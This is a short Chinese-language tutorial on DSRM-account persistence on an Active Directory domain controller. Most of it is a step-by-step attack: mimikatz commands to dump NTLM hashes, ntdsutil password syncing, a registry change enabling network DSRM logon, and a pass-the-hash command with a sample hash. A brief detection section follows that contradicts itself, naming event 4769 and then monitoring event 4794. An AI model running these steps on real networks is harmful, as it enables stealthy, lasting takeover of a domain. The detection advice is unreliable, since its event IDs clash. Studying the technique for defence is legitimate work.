01、简介
每个域控制器都有一个目录还原模式(DSRM)帐户,它的密码是在安装域控时设置的,实际上它对应的就是sam文件里的本地管理员“administrator”,基本很少会被重置,因此有着极强的隐蔽性。攻击者通过获取域控的DSRM密码,就可以使用帐户通过网络登录到域控服务器,从而达到权限维持的目的。
02、利用方式
(1)获取域内用户Hash
使用mimikatz查看域内用户test的NTLM Hash。
mimikatz # privilege::debug
mimikatz # lsadump::lsa /patch /name:test
(2)将DSRM帐户和域用户的NTLM Hash同步
使用DSRM的密码和指定域用户test的密码进行同步,在命令行环境中使用ntdsutil工具重置DSRM管理员密码。
(3)抓取DSRM密码
因同步域内用户test的NTLM Hash,可以发现,DSRM Hash 和域用户test的NTLM Hash一致。
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam
(4)修改DSRM登录方式
DSRM 有三种登录方式,具体如下:
0:默认值,只有当域控制器重启并进入 DSRM 模式时,才可以使用 DSRM 管理员账号
1:只有当本地 AD、DS 服务停止时,才可以使用 DSRM 管理员账号登录域控制器
2:在任何情况下,都可以使用 DSRM 管理员账号登录域控制器
如果要使用 DSRM 账号通过网络登录域控制器,需要将该值设置为 2。
修改注册表:
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /f /v DsrmAdminLogonBehavior /t REG_DWORD /d 2
(5)使用DSRM远程登录
在域成员服务器上使用DSRM进行远程登录,注意domain使用域控的主机名。
mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:administrator /domain:win-dc01 /ntlm:44f077e27f6fef69e7bd834c7242b040
03、检测方法
当攻击者尝试重置DSRM管理员密码或是指定域内用户NTLM Hash同步时,都会生成4769事件,因此可以实时监控4794事件,一旦攻击者尝试修改DSRM密码就会触发告警。